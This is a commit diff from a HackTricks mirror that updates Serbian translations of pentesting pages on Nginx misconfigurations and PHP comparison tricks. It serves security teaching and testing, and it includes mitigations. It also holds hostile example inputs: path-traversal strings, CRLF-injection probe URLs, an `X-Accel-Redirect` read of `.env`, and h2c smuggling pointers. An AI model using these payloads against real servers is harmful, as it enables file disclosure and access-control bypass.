mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['network-services-pentesting/pentesting-web/nginx.md', 'netw
This commit is contained in:
parent
460f96f0cc
commit
f0fa315336
7 changed files with 333 additions and 343 deletions
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -16,15 +16,13 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
||||
**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju školjke i zabavljaju se.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## Nedostajući root lokacija <a href="#missing-root-location" id="missing-root-location"></a>
|
||||
## Nedostajuća root lokacija <a href="#missing-root-location" id="missing-root-location"></a>
|
||||
|
||||
## **Osnove konfigurisanja Nginx Root direktorijuma**
|
||||
|
||||
Prilikom konfigurisanja Nginx servera, **root direktiva** igra ključnu ulogu definisanjem osnovnog direktorijuma iz kojeg se serviraju fajlovi. Razmotrite primer ispod:
|
||||
Prilikom konfigurisanja Nginx servera, **root direktiva** igra ključnu ulogu definisanjem osnovnog direktorijuma iz kog se serviraju fajlovi. Razmotrite primer ispod:
|
||||
```bash
|
||||
server {
|
||||
root /etc/nginx;
|
||||
|
@ -35,19 +33,19 @@ proxy_pass http://127.0.0.1:8080/;
|
|||
}
|
||||
}
|
||||
```
|
||||
U ovoj konfiguraciji, `/etc/nginx` je određen kao korenski direktorijum. Ova postavka omogućava pristup fajlovima unutar navedenog korenskog direktorijuma, poput `/hello.txt`. Međutim, važno je napomenuti da je definisana samo određena lokacija (`/hello.txt`). Ne postoji konfiguracija za korensku lokaciju (`location / {...}`). Ova izostavljena stavka znači da se direktiva korena primenjuje globalno, omogućavajući zahteve za korensku putanju `/` da pristupe fajlovima pod `/etc/nginx`.
|
||||
U ovoj konfiguraciji, `/etc/nginx` je određen kao korenski direktorijum. Ova postavka omogućava pristup fajlovima unutar određenog korenskog direktorijuma, poput `/hello.txt`. Međutim, važno je napomenuti da je definisana samo određena lokacija (`/hello.txt`). Ne postoji konfiguracija za korensku lokaciju (`location / {...}`). Ova izostavljena stavka znači da se korenska direktiva primenjuje globalno, omogućavajući zahteve ka korenskom putanji `/` da pristupaju fajlovima u `/etc/nginx`.
|
||||
|
||||
Iz ove konfiguracije proizilazi ključno sigurnosno pitanje. Jednostavan `GET` zahtev, poput `GET /nginx.conf`, mogao bi otkriti osetljive informacije serviranjem Nginx konfiguracionog fajla koji se nalazi na lokaciji `/etc/nginx/nginx.conf`. Postavljanje korena na manje osetljiv direktorijum, poput `/etc`, moglo bi umanjiti ovaj rizik, ali i dalje može dozvoliti nenamerno pristupanje drugim kritičnim fajlovima, uključujući druge konfiguracione fajlove, pristupne logove, pa čak i šifrovane akreditive korištene za HTTP osnovnu autentifikaciju.
|
||||
Iz ove konfiguracije proizilazi kritično sigurnosno pitanje. Jednostavan `GET` zahtev, poput `GET /nginx.conf`, mogao bi otkriti osetljive informacije serviranjem Nginx konfiguracionog fajla koji se nalazi na lokaciji `/etc/nginx/nginx.conf`. Postavljanje korena na manje osetljiv direktorijum, poput `/etc`, moglo bi umanjiti ovaj rizik, ali i dalje može dozvoliti nenamerno pristup drugim kritičnim fajlovima, uključujući druge konfiguracione fajlove, pristupne logove, pa čak i šifrovane akreditive korišćene za HTTP osnovnu autentifikaciju.
|
||||
|
||||
## Alias LFI Misconfiguracija <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
|
||||
|
||||
U konfiguracionim fajlovima Nginx-a, potrebno je pažljivo pregledati "location" direktive. Ranjivost poznata kao Local File Inclusion (LFI) može se nenamerno uneti kroz konfiguraciju koja liči na sledeću:
|
||||
U konfiguracionim fajlovima Nginx-a, potrebno je pažljivo pregledati "location" direktive. Ranjivost poznata kao Lokalno Uključivanje Fajlova (LFI) može biti nenamerno uvedena kroz konfiguraciju koja liči na sledeću:
|
||||
```
|
||||
location /imgs {
|
||||
alias /path/images/;
|
||||
}
|
||||
```
|
||||
Ova konfiguracija je podložna LFI napadima zbog servera koji tumači zahteve poput `/imgs../flag.txt` kao pokušaj pristupa datotekama van namenjenog direktorijuma, efektivno se rešavajući u `/path/images/../flag.txt`. Ova greška omogućava napadačima da povrate datoteke sa serverskog fajl sistema koje ne bi trebalo da budu dostupne preko veba.
|
||||
Ova konfiguracija je podložna LFI napadima zbog servera koji tumači zahteve poput `/imgs../flag.txt` kao pokušaj pristupa datotekama van namenjenog direktorijuma, efektivno se rešavajući u `/path/images/../flag.txt`. Ova greška omogućava napadačima da povrate datoteke sa fajl sistema servera koje ne bi trebalo da budu dostupne preko veba.
|
||||
|
||||
Da bi se ublažila ova ranjivost, konfiguracija treba da bude prilagođena:
|
||||
```
|
||||
|
@ -97,7 +95,7 @@ location / {
|
|||
return 302 https://example.com$uri;
|
||||
}
|
||||
```
|
||||
Karakteri \r (Povratak kursora) i \n (Novi red) označavaju nove linije u HTTP zahtevima, a njihove URL-kodirane forme su predstavljene kao `%0d%0a`. Uključivanje ovih karaktera u zahtev (npr. `http://localhost/%0d%0aDetectify:%20clrf`) ka nepravilno konfigurisanom serveru rezultira serverom koji izdaje novi zaglavlje nazvano `Detectify`. Do ovoga dolazi jer promenljiva $uri dekodira URL-kodirane nove linije, što dovodi do neočekivanog zaglavlja u odgovoru:
|
||||
Karakteri \r (Carriage Return) i \n (Line Feed) označavaju nove linije u HTTP zahtevima, a njihove URL enkodirane forme su predstavljene kao `%0d%0a`. Uključivanje ovih karaktera u zahtev (npr. `http://localhost/%0d%0aDetectify:%20clrf`) ka neispravno konfigurisanom serveru rezultuje serveru izdavanjem novog zaglavlja nazvanog `Detectify`. Do ovoga dolazi jer promenljiva $uri dekodira URL enkodirane nove linije, što dovodi do neočekivanog zaglavlja u odgovoru:
|
||||
```
|
||||
HTTP/1.1 302 Moved Temporarily
|
||||
Server: nginx/1.19.3
|
||||
|
@ -109,27 +107,27 @@ Detectify: clrf
|
|||
```
|
||||
Saznajte više o rizicima CRLF ubacivanja i razdvajanja odgovora na [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
|
||||
|
||||
Takođe, ovu tehniku je **objašnjena u ovom govoru** sa nekim ranjivim primerima i mehanizmima detekcije. Na primer, kako biste otkrili ovu lošu konfiguraciju iz crne kutije, možete koristiti ove zahteve:
|
||||
Takođe, ovu tehniku je **objašnjena u ovom predavanju** na [https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) sa nekim ranjivim primerima i mehanizmima detekcije. Na primer, kako biste otkrili ovu lošu konfiguraciju iz crne kutije perspektive, možete koristiti ove zahteve:
|
||||
|
||||
- `https://example.com/%20X` - Bilo koji HTTP kod
|
||||
- `https://example.com/%20H` - 400 Bad Request
|
||||
* `https://example.com/%20X` - Bilo koji HTTP kod
|
||||
* `https://example.com/%20H` - 400 Bad Request
|
||||
|
||||
Ako je ranjiv, prvi će vratiti "X" jer je X bilo koji HTTP metod, a drugi će vratiti grešku jer H nije validan metod. Dakle, server će primiti nešto poput: `GET / H HTTP/1.1` i to će izazvati grešku.
|
||||
Ako je ranjiv, prvi će vratiti "X" jer je bilo koji HTTP metod, a drugi će vratiti grešku jer H nije validan metod. Dakle, server će primiti nešto poput: `GET / H HTTP/1.1` i to će izazvati grešku.
|
||||
|
||||
Još neki primeri detekcije bi bili:
|
||||
|
||||
- `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - Bilo koji HTTP kod
|
||||
- `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Bad Request
|
||||
* `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - Bilo koji HTTP kod
|
||||
* `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Bad Request
|
||||
|
||||
Neki pronađeni ranjivi konfiguracije prikazani u tom govoru su:
|
||||
Neki pronađeni ranjivi konfiguracije prikazani u tom predavanju su:
|
||||
|
||||
- Primetite kako je **`$uri`** postavljen kao što je u konačnom URL-u
|
||||
* Primetite kako je **`$uri`** postavljen kao što je u konačnom URL-u.
|
||||
```
|
||||
location ^~ /lite/api/ {
|
||||
proxy_pass http://lite-backend$uri$is_args$args;
|
||||
}
|
||||
```
|
||||
* Obratite pažnju kako je ponovo **`$uri`** u URL-u (ovog puta unutar parametra)
|
||||
* Obratite pažnju kako se ponovo **`$uri`** nalazi u URL-u (ovaj put unutar parametra)
|
||||
```
|
||||
location ~ ^/dna/payment {
|
||||
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
|
||||
|
@ -143,19 +141,19 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
|
|||
```
|
||||
### Bilo koja promenljiva
|
||||
|
||||
Otkriveno je da se **podaci koje je korisnik dostavio** mogu tretirati kao **Nginx promenljiva** u određenim okolnostima. Uzrok ovog ponašanja ostaje donekle nejasan, ali nije retko niti jednostavno proveriti. Ova anomalija je istaknuta u izveštaju o bezbednosti na HackerOne platformi, koji možete pogledati [ovde](https://hackerone.com/reports/370094). Dalje istraživanje poruke o grešci dovelo je do identifikacije njenog pojavljivanja unutar [SSI filter modula Nginx-ove kodne baze](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365), označavajući Server Side Includes (SSI) kao osnovni uzrok.
|
||||
Otkriveno je da bi **podaci koje je korisnik dostavio** mogli biti tretirani kao **Nginx promenljiva** u određenim okolnostima. Uzrok ovog ponašanja ostaje donekle nejasan, ali nije retko niti jednostavno proveriti. Ova anomalija je istaknuta u izveštaju o bezbednosti na HackerOne platformi, koji možete pogledati [ovde](https://hackerone.com/reports/370094). Dalje istraživanje poruke o grešci dovelo je do identifikacije njenog pojavljivanja unutar [SSI filter modula Nginx-ove osnove koda](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365), označavajući Server Side Includes (SSI) kao koreni uzrok.
|
||||
|
||||
Da biste **otkrili ovu lošu konfiguraciju**, može se izvršiti sledeća komanda, koja uključuje postavljanje referer zaglavlja radi testiranja ispisa promenljive:
|
||||
```bash
|
||||
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
|
||||
```
|
||||
Skenovi za ovu konfiguraciju na različitim sistemima otkrili su više instanci gde Nginx promenljive mogu biti prikazane od strane korisnika. Međutim, smanjenje broja ranjivih instanci sugeriše da su napori za popravku ovog problema donekle uspešni.
|
||||
Skenovi za ovu konfiguraciju na različitim sistemima otkrili su više slučajeva gde Nginx promenljive mogu biti prikazane od strane korisnika. Međutim, smanjenje broja ranjivih instanci sugeriše da su napori za popravku ovog problema donekle uspešni.
|
||||
|
||||
## Čitanje sirove odgovora sa servera
|
||||
## Čitanje sirovog odgovora sa backend-a
|
||||
|
||||
Nginx nudi funkciju putem `proxy_pass` koja omogućava presretanje grešaka i HTTP zaglavlja proizvedenih od strane servera, sa ciljem skrivanja internih poruka o greškama i zaglavlja. Ovo se postiže tako što Nginx servira prilagođene stranice grešaka kao odgovor na greške sa servera. Međutim, javljaju se izazovi kada Nginx naiđe na nevažeći HTTP zahtev. Takav zahtev se prosleđuje serveru onako kako je primljen, a sirovi odgovor sa servera se zatim direktno šalje klijentu bez posredovanja Nginxa.
|
||||
Nginx nudi funkciju putem `proxy_pass` koja omogućava presretanje grešaka i HTTP zaglavlja proizvedenih od strane backend-a, sa ciljem skrivanja internih poruka o greškama i zaglavlja. Ovo se postiže tako što Nginx servira prilagođene stranice grešaka kao odgovor na greške backend-a. Međutim, izazovi se javljaju kada Nginx naiđe na nevažeći HTTP zahtev. Takav zahtev se prosleđuje backend-u onakav kakav je primljen, i sirovi odgovor backend-a se zatim direktno šalje klijentu bez posredovanja Nginx-a.
|
||||
|
||||
Razmotrimo primer scenarija koji uključuje uWSGI aplikaciju:
|
||||
Razmotrite scenarij koji uključuje uWSGI aplikaciju:
|
||||
```python
|
||||
def application(environ, start_response):
|
||||
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
|
||||
|
@ -172,17 +170,29 @@ proxy_hide_header Secret-Header;
|
|||
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Ova direktiva omogućava Nginx-u da posluži prilagođeni odgovor za odgovore sa servera sa statusnim kodom većim od 300. Osigurava da, za naš primer aplikacije uWSGI, odgovor `500 Error` bude presretnut i obrađen od strane Nginx-a.
|
||||
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Kao što naziv sugeriše, ova direktiva skriva određene HTTP zaglavlja od klijenta, poboljšavajući privatnost i bezbednost.
|
||||
|
||||
Kada se napravi validan `GET` zahtev, Nginx ga obrađuje na uobičajen način, vraćajući standardni grešni odgovor ne otkrivajući nikakva tajna zaglavlja. Međutim, nevažeći HTTP zahtev zaobilazi ovaj mehanizam, rezultirajući izlaganjem sirovih odgovora sa servera, uključujući tajna zaglavlja i poruke o greškama.
|
||||
Kada se napravi validan `GET` zahtev, Nginx ga obrađuje na uobičajen način, vraćajući standardni grešni odgovor ne otkrivajući nikakva tajna zaglavlja. Međutim, nevažeći HTTP zahtev zaobilazi ovaj mehanizam, što rezultira izlaganjem sirovih odgovora sa servera, uključujući tajna zaglavlja i poruke o greškama.
|
||||
|
||||
## merge\_slashes postavljen na off
|
||||
|
||||
Podrazumevano, **`merge_slashes` direktiva** u Nginx-u je postavljena na **`on`**, što komprimuje višestruke kosine u URL-u u jednu kosu crtu. Ova funkcija, dok olakšava obradu URL-ova, može nenamerno prikriti ranjivosti u aplikacijama iza Nginx-a, posebno onima sklonim napadima lokalnog uključivanja fajlova (LFI). Bezbednosni stručnjaci **Danny Robinson i Rotem Bar** su istakli potencijalne rizike povezane sa ovim podrazumevanim ponašanjem, posebno kada Nginx deluje kao reverzni proxy.
|
||||
Podrazumevano, **`merge_slashes` direktiva** u Nginx-u je postavljena na **`on`**, što komprimuje višestruke kosine u URL-u u jednu kosu. Ova funkcija, dok olakšava obradu URL-ova, može nenamerno prikriti ranjivosti u aplikacijama iza Nginx-a, posebno onima sklonim napadima lokalnog uključivanja fajlova (LFI). Bezbednosni stručnjaci **Danny Robinson i Rotem Bar** su istakli potencijalne rizike povezane sa ovim podrazumevanim ponašanjem, posebno kada Nginx deluje kao reverzni proxy.
|
||||
|
||||
Da bi se umanjili takvi rizici, preporučuje se **isključivanje `merge_slashes` direktive** za aplikacije koje su podložne ovim ranjivostima. Ovo osigurava da Nginx prosleđuje zahteve aplikaciji bez menjanja strukture URL-a, ne maskirajući time potencijalne bezbednosne probleme.
|
||||
Da bi se umanjili takvi rizici, preporučuje se **isključivanje `merge_slashes` direktive** za aplikacije koje su podložne ovim ranjivostima. Ovo osigurava da Nginx prosleđuje zahteve aplikaciji bez menjanja strukture URL-a, čime se ne prikrivaju potencijalni sigurnosni problemi.
|
||||
|
||||
Za više informacija pogledajte [Danny Robinson i Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
|
||||
|
||||
### **Podrazumevana Vrednost u Map Direktivi**
|
||||
### **Zlonamerna zaglavlja odgovora**
|
||||
|
||||
Kao što je prikazano u [**ovom objašnjenju**](https://mizu.re/post/cors-playground), postoje određena zaglavlja koja, ako su prisutna u odgovoru sa web servera, mogu promeniti ponašanje Nginx proxy-ja. Možete ih proveriti [**u dokumentaciji**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
|
||||
|
||||
* `X-Accel-Redirect`: Ukazuje Nginx-u da interni preusmeri zahtev na određenu lokaciju.
|
||||
* `X-Accel-Buffering`: Kontroliše da li Nginx treba da baferuje odgovor ili ne.
|
||||
* `X-Accel-Charset`: Postavlja karakter set za odgovor prilikom korišćenja X-Accel-Redirect.
|
||||
* `X-Accel-Expires`: Postavlja vreme isteka za odgovor prilikom korišćenja X-Accel-Redirect.
|
||||
* `X-Accel-Limit-Rate`: Limitira brzinu transfera za odgovore prilikom korišćenja X-Accel-Redirect.
|
||||
|
||||
Na primer, zaglavlje **`X-Accel-Redirect`** će izazvati interni **preusmeraj** u Nginx-u. Dakle, imati Nginx konfiguraciju sa nečim poput **`root /`** i odgovor sa web servera sa **`X-Accel-Redirect: .env`** će naterati Nginx da pošalje sadržaj **`/.env`** (Prolazak kroz putanje).
|
||||
|
||||
### **Podrazumevana vrednost u Map direktivi**
|
||||
|
||||
U **Nginx konfiguraciji**, `map` direktiva često igra ulogu u **kontroli autorizacije**. Česta greška je ne navođenje **podrazumevane** vrednosti, što može dovesti do neovlašćenog pristupa. Na primer:
|
||||
```yaml
|
||||
|
@ -203,24 +213,24 @@ return 200 "Hello. It is private area: $mappocallow";
|
|||
}
|
||||
}
|
||||
```
|
||||
Bez `default`, **zlonamerni korisnik** može zaobići sigurnost pristupanjem **nedefinisanom URI** unutar `/map-poc`. [Nginx priručnik](https://nginx.org/en/docs/http/ngx\_http\_map\_module.html) preporučuje postavljanje **podrazumevane vrednosti** kako bi se izbegli takvi problemi.
|
||||
Bez `default`, **zlonamerni korisnik** može zaobići sigurnost pristupanjem **nedefinisanom URI** unutar `/map-poc`. [Nginx priručnik](https://nginx.org/en/docs/http/ngx\_http\_map\_module.html) savetuje postavljanje **podrazumevane vrednosti** kako bi se izbegli takvi problemi.
|
||||
|
||||
### **Ranjivost DNS prevara**
|
||||
|
||||
DNS prevara protiv Nginx-a je izvodljiva u određenim uslovima. Ako napadač zna **DNS server** koji koristi Nginx i može presresti njegove DNS upite, može falsifikovati DNS zapise. Međutim, ovaj metod nije efikasan ako je Nginx konfigurisan da koristi **localhost (127.0.0.1)** za DNS razrešavanje. Nginx omogućava specificiranje DNS servera na sledeći način:
|
||||
DNS prevara protiv Nginxa je izvodljiva u određenim uslovima. Ako napadač zna **DNS server** koji koristi Nginx i može presresti njegove DNS upite, može falsifikovati DNS zapise. Međutim, ovaj metod nije efikasan ako je Nginx konfigurisan da koristi **localhost (127.0.0.1)** za DNS razrešavanje. Nginx omogućava specificiranje DNS servera na sledeći način:
|
||||
```yaml
|
||||
resolver 8.8.8.8;
|
||||
```
|
||||
### **`proxy_pass` и `internal` Директиве**
|
||||
|
||||
Директива **`proxy_pass`** се koristi za preusmeravanje zahteva ka drugim serverima, bilo interno ili eksterno. **`internal`** dirlketiva osigurava da određene lokacije budu dostupne samo unutar Nginx-a. Iako same po sebi ove dirlketive nisu ranjivosti, njihova konfiguracija zahteva pažljivu analizu kako bi se sprečile bezbednosne propuste.
|
||||
Директива **`proxy_pass`** се koristi za preusmeravanje zahteva ka drugim serverima, bilo interno ili eksterno. **`internal`** директива osigurava da određene lokacije budu dostupne samo unutar Nginx-a. Iako same po sebi ove dve dirlktive nisu ranjivosti, njihova konfiguracija zahteva pažljivu analizu kako bi se sprečili sigurnosni propusti.
|
||||
|
||||
## proxy\_set\_header Upgrade & Connection
|
||||
|
||||
Ako je nginx server konfigurisan da prosleđuje zaglavlja Upgrade i Connection, može se izvesti [**h2c Smuggling napad**](../../pentesting-web/h2c-smuggling.md) kako bi se pristupilo zaštićenim/internim krajnjim tačkama.
|
||||
Ako je nginx server konfigurisan da prosleđuje zaglavlja Upgrade i Connection, može se izvesti [**h2c Smuggling napad**](../../pentesting-web/h2c-smuggling.md) kako bi se pristupilo zaštićenim/internim endpointima.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ova ranjivost bi omogućila napadaču da **uspostavi direktnu vezu sa krajnjom tačkom `proxy_pass`** (`http://backend:9999` u ovom slučaju) čiji sadržaj neće biti proveren od strane nginx-a.
|
||||
Ova ranjivost bi omogućila napadaču da **uspostavi direktnu vezu sa `proxy_pass` endpointom** (`http://backend:9999` u ovom slučaju) čiji sadržaj neće biti proveren od strane nginx-a.
|
||||
{% endhint %}
|
||||
|
||||
Primer ranjive konfiguracije za krađu `/flag` možete pronaći [ovde](https://bishopfox.com/blog/h2c-smuggling-request):
|
||||
|
@ -257,7 +267,7 @@ Detectify je kreirao GitHub repozitorijum gde možete koristiti Docker da postav
|
|||
|
||||
### [GIXY](https://github.com/yandex/gixy)
|
||||
|
||||
Gixy je alat za analizu Nginx konfiguracije. Glavni cilj Gixy-ja je sprečavanje bezbednosnih konfiguracija i automatizacija otkrivanja propusta.
|
||||
Gixy je alat za analizu Nginx konfiguracije. Glavni cilj Gixy-ja je sprečavanje bezbednosnih konfiguracija i automatizacija otkrivanja grešaka.
|
||||
|
||||
### [Nginxpwner](https://github.com/stark0de/nginxpwner)
|
||||
|
||||
|
@ -271,7 +281,7 @@ Nginxpwner je jednostavan alat za traženje uobičajenih Nginx konfiguracionih g
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite pun pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za otkrivanje i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
||||
**Trenutno dostupna postavka za procenu ranjivosti & testiranje prodiranja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za otkrivanje & eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -281,10 +291,10 @@ Nginxpwner je jednostavan alat za traženje uobičajenih Nginx konfiguracionih g
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite vašu **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,19 +8,19 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Česta lokacija kolačića:
|
||||
|
||||
Ovo takođe važi za kolačiće phpMyAdmin-a.
|
||||
Ovo važi i za kolačiće phpMyAdmin-a.
|
||||
|
||||
Kolačići:
|
||||
```
|
||||
|
@ -36,9 +36,9 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
```
|
||||
## Zaobilaženje PHP poredjenja
|
||||
|
||||
### Labava poredjenja/Tip konverzija ( == )
|
||||
### Labava poredjenja/Tip Juggling ( == )
|
||||
|
||||
Ako se koristi `==` u PHP-u, mogu se pojaviti neočekivani slučajevi gde poredjenje ne radi kako se očekuje. To je zato što "==" poredi samo vrednosti transformisane u isti tip, ako želite da poredite i da li je tip poredjenih podataka isti, treba koristiti `===`.
|
||||
Ako se koristi `==` u PHP-u, mogu se pojaviti neočekivani slučajevi gde poredjenje ne radi kako se očekuje. To je zato što "==" uporedjuje samo vrednosti transformisane u isti tip, ako želite da uporedite i da li je tip uporedjenih podataka isti, treba koristiti `===`.
|
||||
|
||||
Tabele za poredjenje u PHP-u: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
|
@ -47,17 +47,17 @@ Tabele za poredjenje u PHP-u: [https://www.php.net/manual/en/types.comparisons.p
|
|||
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
|
||||
* `"string" == 0 -> True` String koji ne počinje brojem je jednak broju
|
||||
* `"0xAAAA" == "43690" -> True` Stringovi sastavljeni od brojeva u dec ili heks formatu mogu biti poredjeni sa drugim brojevima/stringovima sa rezultatom True ako su brojevi isti (brojevi u stringu se interpretiraju kao brojevi)
|
||||
* `"0e3264578" == 0 --> True` String koji počinje sa "0e" i zatim bilo čim će biti jednak 0
|
||||
* `"0X3264578" == 0X --> True` String koji počinje sa "0" i zatim bilo kojim slovom (X može biti bilo koje slovo) i zatim bilo čim će biti jednak 0
|
||||
* `"0e12334" == "0" --> True` Ovo je veoma interesantno jer u nekim slučajevima možete kontrolisati string unos "0" i neki sadržaj koji se hešira i poredi sa njim. Stoga, ako možete pružiti vrednost koja će kreirati heš koji počinje sa "0e" i bez ikakvog slova, možete zaobići poredjenje. Možete pronaći **već heširane stringove** sa ovim formatom ovde: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` Bilo koje slovo u stringu je jednako celobrojnoj vrednosti 0
|
||||
* `"0xAAAA" == "43690" -> True` Stringovi sastavljeni od brojeva u dec ili heks formatu mogu biti uporedjeni sa drugim brojevima/stringovima sa True rezultatom ako su brojevi isti (brojevi u stringu se interpretiraju kao brojevi)
|
||||
* `"0e3264578" == 0 --> True` String koji počinje sa "0e" i za kojim sledi bilo šta će biti jednak 0
|
||||
